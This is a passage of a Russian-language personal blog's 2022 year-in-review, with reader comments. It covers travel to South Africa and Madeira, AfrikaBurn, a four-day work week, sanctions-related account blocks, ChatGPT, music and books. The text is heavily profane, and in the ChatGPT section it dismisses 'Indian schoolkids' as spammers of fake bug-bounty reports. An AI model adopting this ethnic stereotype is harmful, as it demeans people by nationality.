опять снимут с продажи и заменят на какое-нибудь новомодное эко-сустейнабл-говно, которое изнашивается за месяц. 3 комментария 4 Igor Mosyagin длинные майки!! Спасибо. Кстати советую магаз для высоких (и недостаточно широких) 2tall.com, это британцы которые делают реально длинную прочную одежду 0 Эдуард Эдуардов Случайно купил точно такой же худи в Rip Curl Тайланд и так же проперся от него. Rip Curl вообще делает очень удобные вещи. 2 Фирдавс Муродов Купил такой после прочтения. Ожидание буду по дождливому амстеру без куртки кататься. Реальность - не очень подходит для езды на велике, так как продувает снизу и не только Войти и написать Путешествие года 🇿🇦 ЮАР Данный пост писался еще до поездки в Японию в конце декабря, так что её я буду осмыслять уже в следующих итогах года. Эти строки я пишу сидя в Синкансене (скоростном поезде) из Токио в Киото, так как ничего не успеваю под конец года. Последние пару лет я думал, что разлюбил путешествовать. Все путешествия стали одинаковыми и давно не вызывают тех же эмоций, какие были в первые Евротрипы. Теперь меня скорее раздражают эти «узкие улочки», очередные замки-дворцы и оверпрайснутые AirBnb. Даже наша поездка в Норвегию в этом году не попала в Итоги Года потому что оказалась ожидаема и банальна. Старею. Но тут случилась Африка. Африка перевернула всё. Даже сейчас, сидя в Японии, я скучаю по Африке и нашей тоете хайлюксу. Дело в том, что я, похоже, терпеть не могу достопримечательности. Я их фотографирую, выкладываю, радуюсь им, но они не оставляют никакого следа в моей душе. Всё смазывается и забывается уже через неделю. Я начал путешествовать ради впечатлений. А новые впечатления редко рождаются на туристических достопримечательностях — они появляются когда ты видишь «другой мир» и начинаешь ощущать его реальность, щупать и исследовать его. И вот тут Африка стала прям прыжком с вышки в бассейн охуевания. Наша покатушка по дюнам на джипе, наша «экскурсия» в местные трущобы, где белому человеку вообще ходить опасно, и местный Бёрнинг Мен в пустыне, и декомпрессия в пентхаусе с видом на море. Кажется, я до сих пор это помню эти моменты чётко, как не помню даже что делал вчера. Африка эпична. Иногда было такое ощущение, что даже воздух вдалеке становится непрозрачным — настолько огромные там пространства. Какая-нибудь Норвегия, при всей моей любви, кажется просто миниатюрой по сравнению с Африкой. Африка дикая. Там ты четко понимаешь насколько твои «проблемы первого мира» смешны и хрупки. И как те вещи, которые ты расценивал как данность, электричество например, тут приходится добывать самому. Теперь есть мечта купить домик и ездить туда зимовать. Но сначала надо хоть как-то закрепиться в Германии. Виды на Кейптаун со Столовой Горы Накачиваем шины в районе, где не стоит даже останавливаться. Несколько проехавших мимо местных остановились чтобы поинтересоваться нужна ли помощь и предупредить, что другие местные могут нас убить. Африка)))0) За подробностями поездки прошу проследовать в соответствующий пост — Южная Африка 2022. 3 комментария 10 Daniil Olshevskiy Какая же жиза про путешествия в европе, вот почему про это не пишут в гайдах и не говорят что европа при всех ее размеров на самом деле довольна однообразна и скучна, а после года так вообще перестает вызывать какие-либо эмоции. Очень рад, что люди начали переосмысливать путешествия и рождать проекты по типу "смены", "серфинга в Португалии" или "Яхтинга в Турции", за этим будущее (и за айтишниками), да 31 Dmitry Tolstoy с детства мечтавший просто жить там, где не нужно постоянно выживать и превозмогать И вот тут Африка стала.. Потому что человека из Сибири увезти можно, а Сибирь из человека - нет! 2 Егор Белов Dmitry Tolstoy, тоже кекнул на этом моменте) Войти и написать Ачивка года 🔥 AfrikaBurn Мой первый бёрн, хоть и детский Продолжая тему Африки, надо отдельно упомянуть нашу поездку на местный Burning Man. До этого года я вообще не знал, что у Бёрна есть локальные ивенты, кроме того самого главного и элитного в США. Оказалось же, что сообщества Бёрнеров есть во всех странах и многие устраивают свои локальные ивенты, которые меньше масштабом, но иногда более камерные и уютные. Формат Бёрна мне нравится намного больше, чем классические «летние фестивали» или кемпы. Стандартный фестиваль — это пьянка под живую музыку и потом ночёвка в палатке. Повторять три дня. Всё. На случай важных переговоров На бёрне же к этому всему добавлен элемент коммьюнити. Вы физически заперты вдали от цивилизации с ограниченными ресурсами и 10 заповедями. Вы — племя. Да, с кучей гаджетов, солнечных панелей и странных костюмов, но по факту вы как будто последние выжившие после ядерной катастрофы (только никто не убивает никого почему-то). И вот ради этого ощущения все и тащатся на другой конец света. Я даже пытался найти что-нибудь такое же аутентичное неподалёку, но всё было не то. Даже на «хакерских кемпах», которые частенько проходят в Европе и тоже топят за коммьюнити, всё дикое и коммьюнити-образующее попросту запрещено правилами. Глупости, короче. Потому в следующем году думаю найти какой-нибудь «локальный бёрн» в Европе и поехать посмотреть как там. 1 комментарий 1 Дмитрий Екимов го фьюжн 2023! Войти и написать Яркое впечатление года 🇱🇹 Возвращение в Вильнюс За четыре года жизни (2014-2018) Вильнюс стал мне прям родным. Знакомые улицы, по которым я ходил сотни раз, старые добрые ресторанчики с классной едой по цене дёнера в Берлине. Скучал по нему. Потому в прошлом январе мы решили поехать проведать его много лет спустя. Было очень много дежавю и мурашек. Здесь быд наш офис, вот тут я пивчик в ларьке покупал, тут на этой улице Басанавичус мы жили и я обожал её. Только в такие моменты понимаешь насколько не умеешь ценить что имеешь и постоянно куда-то бежишь и жалуешься. В Вильнюсе и правда было легко. По крайней мере тогда. Офигенные квартиры, куча мест где пожрать или потусоваться, никаких толп и очередей как везде в Берлине, всё дешево и доступно. Даже сейчас мы сняли двухэтажный лофт на две недели всего за 350 евро. ? Хотя с началом войны наверняка таких цен уже больше нет С другой стороны, да, это было круто, но хорошо, что закончилось. Сейчас я бы наверное не готов был там жить. Во-первых, я действительно понял, что люблю города побольше. Мне по кайфу движ, а не расслабленность. Во-вторых, я еще тогда, 5 лет назад, часто разочаровывался и критиковал поведение местных властей. Высказывания литовских политиков напоминали мне обиженных подростков, которые постоянно борются «против чего-то» — против автомобилей, против тур-виз, против алкоголя после 20:00, но я ни разу не помню когда они были бы «за что-то». К сожалению, опыт показывает, что когда у тебя нет ценностей, которые ведут тебя, а ты лишь борешься со всем вокруг — всегда получается хуёво. Как пример, моим самым большим разочарованием стало то, что они уничтожили мой любимый парк — Reformatų parkas. Ух, сколько вечеров мы просидели на его бетонных лесенках с друзьями, сколько фотосессий провели, а сколько идей в нём родилось. Даже вот мой блог по сути переродился именно там. Это был полузаброшенный парк в олдскульном брутальном бетонном стиле. Мы три года жили рядом и он стал моим личным местом силы. Я уходил туда чтобы подумать в одиночестве, чтобы выпить пива с друзьями (пряча баночки от полиции), часто доставал айфон и вёл в нём заметки, которые потом превращались во все те идеи, которые вы здесь видели. В посте про отъезд из Литвы была пара фоточек оттуда. Таким запомнил Reformatų parkas я. Всратый, но милый. Студенты приходили на эти ступеньки учить конспекты, художники рисовали граффити, а я наслаждался уединенностью и свободой Как же я негодовал когда увидел, что его полностью уничтожили, чтобы сделать какой-то нелепый скверик с дешевыми лавочками и вайбом провинциального сквера для мамочек в спальном районе Барнаула. И догадайтесь что у него в самом центре? Конечно же ебучий фейковый фонтан из дешевой LED-ленты в форме пиписьки! Пиздец. Старый парк, конечно, был неухоженный и грязный, но от того аутентичный и душевный. Теперь же это безвкусный сквер как где-нибудь на окраине Новосибирска Я понимаю, у местных травма по всему советскому, но даже в поёбанном войной Берлине такие места не уничтожают, а трансформируют в крутые общественные пространства. В конце поездки мы даже встретились с ребятами, с которыми когда-то вместе работали. Не сказал бы, что это была приятная встреча, но попробовать стоило. 8 комментариев 7 ReDetection почему он огорожен этими уёбищными решётками 😭 9 Вастрик ReDetection, конечно же чтобы ощущение ебучего провинциального скверика было еще более острым! Еще какой-нибудь губернатор должен был приехать гордо его открывать с ленточкой 10 Anton Arkhipkin В конце поездки мы даже встретились с ребятами, с которыми когда-то вместе работали. Не сказал бы, что это была приятная встреча, но попробовать стоило они читают итоги года?) 23 Вастрик Да))0))))))) 2 Павел Щорс Дешевые квартиры в Вильнюсе закончились еще после 2020 года в Беларуси 1 Артур Ахмадеев таких цен на квартиры даже в Клайпеде уже нет :/ 4 Igor Kislitsyn Мельком пробежался по статье, глаз зацепился за фонтан. Удивился: "чего это Вастрик вдруг Новосиб запросил?", а оно вон оно как! 🙂 0 mcornholio Как пример, моим самым большим разочарованием стало то, что они уничтожили мой любимый парк — Reformatų parkas. бляя, помню как ты меня в него водил пиво питб, очень хорошее было место! Войти и написать Гаджет года 🏹 Лук О луке тоже был отдельный пост. Его даже в Завтракасте цитировали! Всё лето ходил стрелять из него минимум раз в неделю. Даже новых друзей завёл, которые захотели присоединиться. Исфигачил две мишени и три комплекта стрел. Доволен. Зимой на улице стрелять холодно, а клуб я себе пока не нашел. Но уже начинаю скучать по этому приятному чувству, когда попадаешь стрелой в кружочек размером со спичечный коробок с пятидесяти метров. Кажется, что это вообще нереально. Так что мои опасения пока не оправдались — стрельба из лука действительно затягивает. 1 комментарий 1 Anton Kashpor Благодаря Завтракасту, вспомнил, что давно не заходил на бложик Войти и написать Разочарование года 🏝️ Мадейра Мадейра — это остров в Атлантическом океане, где-то рядом с Португалией и Марокко. Эдакие португальские Канары. Давно мечтал там побывать и прошлой зимой мы запланировали там winter escape — поехать жить туда на целый месяц, чтобы немного спасти кукуху от серой и мокрой берлинской зимы. И мы поехали туда в середине февраля. Дальше, думаю, вы догадались что произошло =/ Вид из окна, конечно, отличный был Но даже если забыть про две недели ада и думскролинга, Мадейра — не совсем моё место. Соседние Канарисы зашли больше. Плюсы Мадейры: ✅ Она очень фотогеничная. Я чуть пониже прикреплю ролик Дениса Барбаса, который снял практически все достопримечательности в красивом тумане под эпичную музыку. ✅ Она зелёная. Канары — это вулканы и пустыни, а Мадейра — это одна большая зелёная гора с кучей разного леса. ✅ На ней находится самый опасный аэропорт в Европе. На острове не нашлось места для большого аэропорта потому взлетку продлили на сваях прямо в море. Пилоты проходят 2 года тренингов, чтобы получить лицензию на посадку в нём. И да, вы скорее всего в него прилетите, ведь другого выбора у вас нет — это, блять, остров. Ощущения от посадки охуенные, рекомендую. Местные жители, которые угощали нас своим домашним ромом из сахарного тростника, очень просили не называть их аэропорт «самым опасным», они предпочитают фразу «только лучшие пилоты могут летать на Мадейру». Так что не говорите так! Минусы Мадейры: ❌ Рельеф. На острове вообще нет горизонтальных поверхностей. Ты всегда либо идешь вверх в крутую гору, либо с горы. Это прикольно пока ты турист, но когда живешь так вторую неделю и в ближайший супермаркет надо хайкать километр в гору — это прям бесит. Почему бы не делать это на машине? Вот об этом следующий пункт. ❌ Дорогая аренда, дорогое такси, дорогая еда. Снять машину на Канарах стоит каких-то смешных денег, можно найти варианты типа за 7 евро в сутки. В континентальной Португалии то же самое — мы брали заряженный Mini Cooper Works за 15 евро в сутки. На Мадейре же даже не в сезон нам удалось найти только разъебанный Пежо на палочке за 40 (!) евро в сутки (искали заранее, за два месяца). За нормальные тачки они хотели 150 (!) в сутки и это не какой-то там модный Sixt, это обоссанный Budget/Europcar. А нам машина нужна была на месяц, напоминаю. То есть это НЕСКОЛЬКО ТЫСЯЧ ЕВРО БЛЯТЬ В МЕСЯЦ ТОЛЬКО ЗА МАШИНУ. Вы чо там совсем ебобо? ❌ Когда задолбал хайкинг — на Мадейре особо больше нечего делать. Первую неделю мы активно исследовали остров и осмотрели его весь, даже посетили пару нетуристических заброшек. На вторую же неделю нам уже было абсолютно нефиг делать, но мы компенсировали это поездками в Фуншал (единственный крупный город) и походами по местным барчикам. А на третью неделю мы уже вообще ничего не делали, просто работали из дома и думскроллили. С Мадейры даже не сплаваешь никуда на соседние острова, как на Канарисах — они все далеко! Короче, в следующий раз лучше опять на Лансароту. 2 комментария 2 Ivan Borovkov Как раз собирался скоро туда ехать после берлина и фарер, посмотрю внимательнее, спасибо ) 0 MrDmytro Вастрик, целый месяц, а где-то есть какие-то текста на эту тему ? Хотели тоже запланировать пожить месяц на Мадейре. Бегло глянул аренду апартов и машины выходит 3к, может у вас там завалялись контакты местных арендодателей ? Войти и написать Потеря года ☠️ TJournal После закрытия TJ осталась только зияющая черная дыра и пустота. Никто даже близко не смог занять эту нишу — делать невсратое интернет-сми. И мне прям очень пусто без него. Как будто мы потеряли часть нашего интернет-наследия. Больше никто не перескажет тебе самые всратые треды айтишников в твиттере, не сделает экспертный обзор на кротовуху, не объяснит нормальным языком зумерские новости. Теперь всё приходится понимать самому. А скорее всего просто забивать. Без TJ мы как будто потеряли «пульс» интернета. Раньше всё самое важное всегда появлялось там, а теперь как будто бы каждый сам за себя. Мы даже думали повторить что-то такое в Клубе, наняв себе «редактора новостей», который бы следил и писал обо всём происходящем, но мнения разошлись. Все-таки при абсолютно офигенной редакции у TJ было прям супер-токсичное коммьюнити (после отмены платных комментов), за которое многие и осуждали его. Всё равно обидно. Еще раз спасибо всем, кто делал TJ все эти годы. Было круто. Комментировать Войти и написать Новый опыт года 😴 Саббатикал и четырехдневка Впервые в жизни предложили взять длинный отпуск за счет компании и перейти на четырехдневку, чтобы сохранить кукуху в тяжелые времена. Решил попробовать. Саббатикал — полный кайф. Я, конечно, заскромничал и взял всего месяц, некоторые знакомые вообще ушли на три. По итогам скажу, что одного месяца действительно мало, чтобы «перезагрузить» свою жизнь, но если вам предлагают хотя бы так — соглашайтесь! Кукуху освежает примерно как смена работы. Я много проводил времени с друзьями, занялся вудворкингом, строил Бус и поехал в двухнедельный трип по балканам, в который давно хотел. К коду не притрагивался, зато идеи стали сами приходить в голову. Самый охуенный опыт в моей жизни. По возвращению на работу кукуха была намного более чистой и я даже смог пережить еще несколько смен менеджеров и рабочих драм. Единственный минус, если брать долгий саббатикал, типа месяца на три, рискуешь вернуться в совсем другую компанию и окунуться в долгий этап акклиматизации и поисков своего места, который может свести всё на нет. Оценивайте этот риск. Если вы работаете в корпорате — скорее всего вам будет пофиг, а если в небольшой компании — то измениться может прям совсем многое и не всегда в лучшую сторону. Весь месяц в свое удовольствие что-то пилил и строил на чердаке у Миши. Было офигенно По возвращению на работу я решил перейти на четырехдневную рабочую неделю. В Германии это распространено и легально, а если ты проработал больше года — у тебя даже есть право запросить у своего работодателя четырехневку (32 часа вместо 40) по закону. Зарплату при этом тоже пропорционально снижают — и это главный минус :) Айтишникам обычно это не так больно, но мы тут хотим взять ипотеку, а значит денежки все-таки скоро окажутся важнее. ? На моем кредитном рейтинге при взятии ипотеки оно никак не сказалось, кстати, только спросили почему зарплата стала меньше Но я просидел на четырехневке четыре месяца и могу поделиться своими впечатлениями. Многие берут выходной в пятницу, но я взял среду. Выходной в среду — это просто охуенно. Твоя длинная неделя как будто превращается и ты просто не успеваешь заебаться, даже если вокруг происходит какая-то драма. Дела в будний день это делаются в разы эффективнее, чем в выходной. В выходные в Германии хрен кого найдешь и половина магазинов не работает. Мне кажется, я бы даже с удовольствием сделал воскресенье рабочим, все равно там делать нехуй, а в среду у меня был выходной на «порешать дела». Идеально. За четыре рабочих дня я делаю абсолютно то же количество работы, что и за пять. Просто я делаю ее быстрее и охотнее отказываюсь от всяких бесполезных митингов. Начинаешь ценить свое время. Главная проблема четырехдневки: ты все-таки делаешь ту же работу, а получаешь на 20% меньше. Кажется, ты сам себя где-то наебал — тебе просто продали немного твоего же mental health и даже заработали на этом :) Сейчас некоторые компании начинают это понимать и вместо -20% снижают на 10-15%. Но это уже жирные бенефиты. Вторая главная проблема: зима. Зимой абсолютно нехуй делать и ты так же сидишь за компьютером весь свой «выходной» день. В общем, эксперимент можно считать успешным. В будущем обязательно повторю. Еще лайфхак: если вы собеседуетесь в классную компанию, правда хотите там работать, но у них нет денег платить вам ту зарплату, которую вы хотите — предложите нанять вас на четырехдневку. У вас будет новый классный проект и подарочный выходной, а у компании стимул платить вам больше в будущем. Это я приехал к друзьям в Черногорию на Бусе и они показывают мне черное и горы 6 комментариев 2 Олег Никитин "Дела в будний день это делаются в разы эффективнее" - слово ЭТО, наверно, лишнее) 11 Олег Никитин "Твоя длинная неделя как будто превращается и ты просто не успеваешь заебаться" - как будто неделя должны была превращаться во что-то), вроде как нет зависимого слова) 1 Dmitry Polovinkin Про четырехдневку с выходным в среду есть классный видос от CGP Grey, получается повезло оценить это на деле :) https://www.youtube.com/watch?v=ALaTm6VzTBw 0 Dmitry Polovinkin а, уточнение, там про обычную пятидневку с идеей про смещение выходного с субботы на среду, с четырехдневкой так это вообще красиво выходит 2 Kosta Korenkov Мама, я на Вастрике 0 Андрей Лазук Да кто ж такое предложит Войти и написать Миграция года 💌 Gmail -> Fastmail В начале года Гугол в очередной раз объявил, что выселяет всех legacy-пользователей со своими доменами, которые не платят ему как бизнес-клиенты. Он уже пытался этим заниматься последние пару лет, постоянно то объявляя, то отменяя решения. Это решение тоже вскоре отменили (как говорят), но я все-таки успел мигрировать всё на сторонний платный сервис. Если уж платить — то точно не гуглу. Выбор был в основном между Fastmail и Mailbox.org. Более секьюрные сервисы типа Proton Mail и Tutanota проиграли сразу потому что плохо поддерживают сторонние мейл-клиенты, а мне как человеку, у которого одновременно десяток имейлов, не хочется держать отдельную вкладку в браузере для каждого. Потому я собираю всю почту через приложения-агрегаторы и мне важно правильно ее синхронизировать между устройствами. Переезд оказался намного менее болезненный, чем я думал. Простого прописывания новых DNS-записей хватило, чтобы почта сразу заходила на новый сервис (включая инвайты календаря), а старые письма я импортировал через встроенный механизм сбора почты из другого ящика, который есть у всех. Работы реально на пару часов вечером. Смешнее всего было читать почту 10-летней давности с гмейла. Я пользовался этим адресом аж с 2008 года, потому там много всего интересного из раннего интернета и моего фриланс-детства. Из минусов обнаружился только один — у Fastmail хуже антиспам. Раз в неделю он пропускает какой-нибудь откровенный скам стабильно. Но вроде обучается, что приятно. 3 комментария 4 Igor Mosyagin а как ты при этом поступил с почтой на гмейле, она там и лежит тоже в архиве или ты удалил её оттуда? Я сам провернул похожую миграцию пару лет назад когда устал что у меня десять ящиков на разных доменах в разных клиентах и очень жалею что я не сделал этого раньше но вот эти бездонные ящики архива они с одной стороны не мешают и типа тоже форма бэкапа а с другой раз в год напрягает что оно там валяется как-то бесхозно 0 Yaroslav Storozhenko Igor Mosyagin, у меня почта на гмейле осталась, так как туда еще куча всякого сыпется что не перенес. По возможности переделываю, но изредка сталкиваюсь с тем, что сайты не принимают почту на сторонних доменах, только на "известных" 4 Denis Kudryavtsev фастмейл красавцы, после того как в совершенно "благих" целях визу и мастер отрубили от рф, они прислали письмо, что я могу до сентября юзать их сервис и потом оплатить этот период, если найду другой способ оплаты или до сентября могу смигрировать. в итоге я нарулил новую карту, привязал, оплатил сервис и продолжаю радостно пользоваться) Войти и написать Сайт года 🪐 Mastodon и вообще Fediverse В начале года у меня вышел пост Unstoppable Web, где я исследовал как мы будем выживать когда интернет распадётся на воюющие друг с другом части (что уже началось). Происследовав разные сервисы, я завел полноценный аккаунт в Mastodon и даже добавил его в список официальных на этом сайте. Туда кросспостятся посты из твиттера, но уже даже есть полноценные обсуждения и даже пару раз набегали какие-то упоротые нацики с флагами СССР. Типичный федиверс. Под конец года тема стала снова популярной, когда Илон Маск купил твиттер и начал там бесоёбить и всё ломать. Честно говоря, мне нравится Мастодон технически, но я уверен, что с ростом популярности его быстро уничтожат те самые упоротые радикалы. Как в истории с Gab’ом когда-то. Потому что он не решает самой главной проблемы текущего социального интернета — модерации. Однако, у меня большие надежды на Fediverse в целом и я очень хочу попробовать добавить ActivityPub в блог и Клуб. У меня есть идеи как сделать всё это чуть более модерируемым и внятным, но пока крайне не хватает рук и времени, которое в этом году было занято другими проблемами. 1 комментарий 3 Илья Рябов фотка ниже — кайф! Войти и написать Чил Проблема года 🚷 Блокировки вообще всех счетов Продолжая тему децентрализации и почему я так активно полез в Федиверс, Селфхостинг и прочие гиковские вещи, которые в теории помогут выжить когда начнется полная балканизация. Самой большой проблемой для меня в этом году стали блокировки всех подряд аккаунтов. Я уже боюсь утром открывать почту, потому что там обязательно будет письмо от очередного сервиса, который «не может продолжать сотрудничество» и «забирает все ваши деньги себе». Мне даже заблокировали мой главный зарплатный счет в немецком банке со всеми накоплениями на ипотеку. У меня ушел месяц, чтобы доказать, что я резидент Германии. Да и то пришлось найти «связи» в банке, чтобы решить проблему напрямую через высокого менеджера. Думали в развитой Европе нет кумовства, да? Хуй. Знаю, так нам и надо, ебаной русне. Первым пал PayPal. Они сразу заблокировали мне все аккаунты без возможности вывода средств. Вторым пакетом санкций подъехали банки. Хотя ЕС и прописал отдельно, что санкции не должны коснуться резидентов ЕС, но все хором проигнорировали этот пункт. Причем настолько проигнорировали, что Deutsche Bank перестал открывать новые счета не только Русским и Беларусам, но и беженцам Украинцам тоже. Хуй их разберешь этих славян, да? Начался полный цирк. Спасти всё было просто невозможно, потому спасали хотя бы самые важные аккаунты, выводя с остальных. Тактика «не держать все деньги в одной корзине» тут сыграла против нас, потому что теперь корзинами приходилось жонглировать как горячими пирожками. Спасение было в крипте, да? Да хуй бы там. Каким-то там седьмым пакетом санкций ЕС приказал запретить русне крипто-кошельки тоже. Да, там тоже был пункт про исключение для резидентов, но если даже официальные банки его не читали — то что ожидать от долбоебов-владельцев криптобирж. Конечно, хранить крипту на облачных кошельках — это антипаттерн, но у централизованных бирж было одно преимущество — сервисы процессинга оплаты в крипте. Мы использовали Сoinbase Commerce, чтобы принимать взносы за Клуб. Он создает отдельный адрес под каждую транзакцию, аккумулирует все платежи и раз в месяц-два дает тебе их вывести на свой адрес. Так вот его тоже внезапно грохнули без возможности вывода. Однако, в следующем разделе я расскажу как случился киберпанк и мне все-таки разблокали аккаунт. Я просто в ахуе как в критической ситуации все страны «первого мира» просто моментально скатились в старый добрый нацизм, а «второй мир», наоборот, стал проявлять чудеса гостеприимства и гуманизма. Другой планеты у меня для вас нет. Последний пример ебаного цирка: в одном из пакетов санкций россиянам запретили летать на дронах на территории ЕС. А вот исключение для резидентов прописать забыли. То есть да, технически, если я сейчас возьму в руки дрон — это уголовка в Германии. 3 комментария 7 Катерина ладно на дронах, насколько я поняла, пилотировать что бы то ни было запретили :) причём в штатах сначала тоже, но потом прописали исключение для хобби-пилотов. знаю это от знакомой, летающей на условном кукурузнике по выходным. месяц или два она не могла этого делать. а в Европах вроде и сейчас нельзя))0) 2 Alex Vansach Насчёт Deutsche Bank и украинцев хз: мне осенью открыли нормально 2 Artem Ivanov при этом на "условном кукурузнике" для собственной радости нельзя, а работать на авиакомпанию в ЕС - пожалуйста Войти и написать Киберпанк года 🌍 ChatGPT В наступающем технопессимистическом мире я уже не помню когда люди так искренне и массово радовались новой технологии. Чтобы только технобро, но и простые чуваки шли заводить аккаунты и играли с нейросеткой как в игрушки в детстве. Моя же личная минута славы с ChatGPT случилась когда с помощью неё у меня получилось разблокировать себе аккаунт Coinbase, который мне грохнули из-за санкций против русни и саппорт меня динамил шаблонными отписками. https://twitter.com/vas3k/status/1600138780198903808 Твит даже стал вирусным и попал в несколько новостных каналов. По поводу же моего видения будущего — я лично пока оптимистичен. Нет, ChatGPT не заменит нам гугол. Она много знает, но постоянно пиздит. Многие сейчас начинают понимать, что ChatGPT это как твой друг в детстве, который обожал выпендриваться выдуманными историями как он летом ездил в диснейленд, а в следующем году полетит на марс, ему родители уже оплатили. Доверять такому я бы не стал. На Stackoverflow вон даже запретили ответы, сгенерированные ChatGPT, потому что большинство из них содержит полные глупости. Из хорошего: у человеков наконец-то появится настоящий AI-компаньон, который будет помогать автоматизировать рутину типа написания официальных писем, резюме, рефератов и прочих глупостей, которые давно пора бы отменить. Это намного полезнее всех этих Сири и Алекс. Из плохого: кажись, начнется новая волна «спама». У человеков появится много дополнительной работы, чтобы понять живой ли человек тебе пишет или робот. Так нам на работе уже пришло несколько очень «достоверно» выглядящих секьюрити-репортов на Bug Bounty, которые были попросту выдуманы ChatGPT. Туда и раньше ломились всякие индусские школьники, но их глупости про отсутствие хедера X-Frame-Options на сайте просто сразу улетали в помойку на первичном же скрининге. Здесь же всё стало куда более «правдиво» — нейросеть даже приложила куски кода для воспроизведения уязвимости. И код даже исполняется! Проблема в том, что код нифига не делает, он просто выглядит страшно, но куча дорогих человекочасов секьюрити-аналитиков уже потеряна на общение с роботом под управлением очередного индусского школьника. И будет только хуже. Потому что индусских школьников миллиард, а секьюрити-спецов единицы. Скоро такое же начнётся с резюме. Нет, я не подсказываю :) 2 комментария 10 Олег Никитин "Чтобы только технобро, но и простые чуваки шли заводить аккаунты" - НЕ пропущена после слова "только") 1 Denis Khripkov | den надо первым шагом встраивать такой-то ai, чтобы отсеивал Войти и написать Музыка года 🎙 Phonk | Memphis Rap | Three 6 Mafia Год прошел под звуки Фонка. Бормотание братишек в 100-рублёвый микрофон под ритмичный бит как-то помогало фокусироваться в сложные моменты или просто скоротать пару часов за рулём. Как и все славяне, я сначала начал с Drift Phonk или TikTok Phonk, двух самых популярных и ненавидимых сейчас поджанра, потому что их очень легко писать и в открытых библиотеках куча треков в этих жанрах. Но они быстро заебали, как помните была «типичная музыка из видосов GoPro и RedBull под которую спортивные ребята наваливали спорт». Потому я пошел изучать жанр дальше пока наконец не наткнулся на более ранних «отцов» фонка из 80-х. Больше всех из них зашла Three 6 Mafia. Приложу свой любимый трек для ознакомления. А вот пример современного дрифт фонка. Настоящий заряд энергии тебе в жопу! А вот неплохое видео, которое я нашел случайно, но оно наконец-то помогло мне разобраться и найти источники. Если ютюб не дает посмотреть его с сайта — кликните там по ссылке «смотреть на ютюбе». 1 комментарий 0 Holovin Вот тут прям тоже самое, никогда не думал что фонк будет занимать 50%+ всей музыки в этом году, но фоном и правда очень хорошо заходит Войти и написать 🎅🏻 Камбеки Оксимирона «Дитя, не пасуй, живёшь только дважды. Ведь если я способен вернуться — способен каждый» (с) Когда батя после пяти лет молчания дропнул третий микстейп — все плевались, что это просто перезапись старых треков (бля там даже винтажный Лондонград был!). Потом батя дропнул альбом — было круто, но никто ничего не понял. Потом батя начал фигачить антивоенными треками по пятницам — вот тут по крайней мере у меня в голове начала складываться картинка «нового Оксимирона», который теперь трезвый и такой же злой. Сложно выделить какой-то один любимый трек, положу несколько. Самый заслушанный трек с микстейпа — «Организация». Настоящий гимн иноагентам, надо было его в паблик домейн выпустить вообще. С альбома — «Хоп-механика» (опять пришлось учить все двойные рифмы наизусть). Из антивоенного творчества любимый трек — «23 февраля». От строчки «А всё-таки жить — это привлекательно. Пять утра, и я отрубаюсь в её объятиях» меня до сих пор разъебывает. Главный же урок — уходить и возвращаться не больно. В интернете попердят и забудут, а запомнят тебя именно за дела, а не за хайп. Ждите Вастрик.Инсайд 2023. 1 комментарий 4 Лёша Худоченков Вастрик.Инсайд 🔥 Было бы очень круто! Войти и написать Книги года 🚀 Лю Цысинь — Задача Трех Тел Как полагается всем гикам, я люблю научную фантастику. Раньше я тащился от рассказов Азимова (несколько из них были в прошлых итогах года), но в этом году открыл для себя китайскую фантастику Лю Цысиня. Я не очень люблю ту фантастику, которая про космические корабли и перестрелки. Мне заходит именно научная сторона — когда автор пытается представить себе «что было бы если бы», а потом раскручивает этот мир согласно реальным законам физики, социума и вселенной. Так вот Лю Цысинь — это Азимов и Стругацкие на максималках. Не берусь судить научную сторону, там пусть физики срутся, но как он круто завернул это в сторону социальную — аж до мурашек. Идея всей книги про газлайтинг всего человечества путём вселения нам недоверия к нашей же науке с помощью подмешивания «ошибок» в фундаментальные эксперименты — это очень сильно. Человеки моментально начинают сраться, убивать друг друга и изобретать себе новые «веры» — это наша известная слабая сторона как вида. Автор шарит в пропаганде и психологии прям на очень высоком уровне (ну а чо мы хотели, китаец же писал). У книги вышло много продолжений и даже фанфиков, некоторые из которых одобрены лично автором и официально стали каноном. Я прочитал только полторы книги из трех, но говорят там к концу история и правда заканчивается, за что отдельный респект автору. 4 комментария 4 Igor Mosyagin я сам немного физик и мне рассказывали что в третьей части всё очень скучно и как-то не про то, но я читал её два дня подряд напролёт до утра, очень советую дочитать все три книги. Там охуенно. 0 Yaroslav Lushnikov История заканчивается, это да. Но внезапно в предложках на эту серию книг появляется "Возрождение времени", фанфик от другого автора. А ещё - у Лю Цисиня есть офигенная повесть "Блуждающая Земля", мне она прям вкатила. Китайцы даже фильм по ней сняли (максимально всратый) 2 Юрий Волощук Серия просто огненная. Третья книга может и не такая динамическая, но всё равно, ахуенно. Просто каждая книга разная, хоть и с одной линией сюжета. Блуждающая Земля - тоже хорошо, а ещё есть у него рассказ про богов: Забота о Боге, забыл как называется. Так же там прекрасно показана тема с "любимой бабушкой", которая пока в деле, нужна, а как только приболела, то "когда ты уже сдохнешь". 0 Philip Sukolenov Как раз вот в январе прочитал и трилогию и Шаровую молнию и Странствующую землю. Советую всё, но трилогия лучшая, и из неё первая книга лучшая. Но однозначно стоит дочитать чтобы была завершена цельность картины. Там прям Гурен Лаган она мне напомнила. Войти и написать 👨‍👨‍👧‍👦 Дэниел Киз — Билли Миллиган Книга, основанная на реальной истории и интервью с человеком, у которого официально диагностировали не просто раздвоение личности, а раздвадцатирение. Весьма захватывающая история психически больного человека, который «включал» в себе разные личности в зависимости от ситуации, и жил так много лет пока его не задержала полиция за преступления, которые совершила одна из «личностей». К концу книги не только начинаешь любить ключевых персонажей-личностей, но и даже думать, что внутри тебя самого есть тоже некий набор разных персонажей, которые время от времени берут контроль над реальностью. Этот ноет, этот посты пишет до часу ночи, третий — бездельник и лентяй. И они постоянно переключаются. Ну и «Цветы для Элджернона» его тоже крайне рекомендую. В Миллигане есть отсылки к ней. 2 комментария 3 Vladimir Bodrov Есть такой подход в психологии -- IFS (https://en.m.wikipedia.org/wiki/Internal_Family_Systems_Model), который хорошо относится с Системным мышлением, и который буквально говорит, что так и есть. У нас есть много "подличностей" со своими интересами и предпочтениями. 0 Herman Lyakhovich Збс синхрония. Раз в жизни решил прочесть книгу, которую посоветовала сестра. Войти и написать 🤴 Габриэль Гарсия Маркес — Осень Патриарха «100 лет одиночества» Маркеса входит в топ-3 моих самых любимых книг вообще за всю жизнь. А в этом году мне рассказали, что у него были еще :D Осень Патриарха описывает последние годы жизни едущего кукухой диктатора вымышленной жаркой карибской страны. Только это не очередная антиутопия, а наоборот, какая-то очень тёплая новелла, где автор как будто бы даже сострадает одиночеству и вообще закату жизни тирана, описывая до 